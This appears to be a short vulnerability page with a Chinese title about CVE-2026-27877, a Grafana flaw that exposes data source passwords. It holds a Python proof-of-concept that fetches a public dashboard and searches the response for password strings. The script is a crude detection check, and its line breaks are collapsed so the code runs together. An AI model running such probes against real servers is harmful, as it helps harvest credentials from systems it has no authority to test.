CVE-2026-27877 Grafana直接数据源密码泄露漏洞

import requests import json # PoC for CVE-2026-27877: Grafana Direct Data Source Password Exposure # This script simulates checking a public dashboard response for leaked credentials. target_url = "http://target-grafana-url/public/dashboards/uid" headers = { "User-Agent": "Mozilla/5.0 (Vulnerability Scanner)" } try: # Simulate accessing a public dashboard response = requests.get(target_url, headers=headers) if response.status_code == 200: data = response.json() print("[*] Response received. Parsing for direct data sources...") # Check for datasource definitions in the response # Vulnerable versions may expose passwords in 'jsonData' or similar fields if 'dashboard' in data: # Logic to inspect datasource definitions within the dashboard JSON # This is a conceptual check based on the vulnerability description dashboard_data = json.dumps(data['dashboard']) if "password" in dashboard_data or "pass" in dashboard_data: print("[!] Potential password leak detected in dashboard response!") # In a real exploit, one would parse the specific JSON path holding credentials else: print("[+] No obvious password strings found in basic check.") else: print(f"[-] Failed to retrieve dashboard. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")